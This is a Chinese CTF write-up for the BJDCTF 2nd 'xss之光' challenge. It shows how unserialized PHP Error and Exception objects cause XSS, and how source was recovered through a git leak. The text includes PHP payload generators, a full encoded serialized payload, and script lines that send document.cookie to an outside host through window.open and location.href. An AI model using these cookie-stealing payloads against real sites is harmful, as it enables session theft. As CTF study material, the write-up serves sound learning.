[BJDCTF 2nd]xss之光

 考查点:利用php原生类进行xss,git文件泄露

目录

知识点

__toString()

Error

Exception

解题过程

参考链接


知识点

__toString()

当对象被当作一个字符串使用时进行默认调用,比如

$aaa = new class(); echo $aaa;     (class是一个类)

但不仅限于echo ,还有file_exist()判断也会进行触发

Error

环境:php7

Error是php的一个内置类,它有一个__toString的方法,所以可以造成xss漏洞。

测试一下:

1.php文件

<?php
$a = unserialize($_GET['c']);
echo $a;
?>

exp:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
?>

exp的结果显示:

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

向1.php文件传参

?c=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

 成功实现alert(1)

 

Exception

环境:php5、7

使用方法类似于Error,不过是exp的Error换为Exception

解题过程

首先打开容器,是这样的

git文件泄露,在python2.7的环境下使用GitHack工具读取源码

得到源码index.php

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

但是从这个仅仅能够得到参数的名称,不知道类,所以在这里就用到前面的只是了,找一个php内置类进行操作,同时可以查看本题的环境是php5,所以使用Exception来操作。

  1. window.open是js打开新的窗口的方法
  2. window.location.href='url'可以实现恶意跳转
  3. alert(document.cookie)可以用来弹出cookie,但是本题不行。
<?php
$a = new Exception("<script>window.open('http://7f34285c-b9d4-4034-9baa-8c7581cdbb2b.node3.buuoj.cn/?'+document.cookie);</script>");
$b = serialize($a);
echo urlencode($b);


$a = new Exception("<script>window.location.href='http://7f34285c-b9d4-4034-9baa-8c7581cdbb2b.node3.buuoj.cn'+document.cookie</script>");
$b = serialize($a);
echo urlencode($b);


$a = new Exception("<script>alert(document.cookie)</script>");
$b = serialize($a);
echo urlencode($b);
?>

 得到结果

然后传参,flag就在cookie里面


参考链接

利用php的原生类进行XSS

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值